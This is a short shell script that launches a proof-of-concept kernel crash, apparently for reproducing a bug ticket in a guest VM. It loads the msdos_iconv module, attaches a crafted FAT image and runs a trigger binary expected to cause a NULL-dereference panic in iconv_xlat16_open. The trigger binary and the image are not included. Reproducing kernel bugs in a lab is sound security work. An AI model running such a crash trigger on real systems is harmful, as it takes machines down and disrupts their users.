#!/bin/sh
# DF-5746 — run NULL-deref panic PoC (run as root on the guest).
# EXPECT: kernel page fault (read of VA 0) in iconv_xlat16_open ->
# Fatal trap 12 -> panic -> guest goes down. Watch the serial console.
set -e
kldload /boot/kernel/msdos_iconv.ko 2>/dev/null || true
vnconfig -c vn0 /root/fat.img
/root/trigger_null /dev/vn0 /mnt
echo "[?] survived (unexpected)"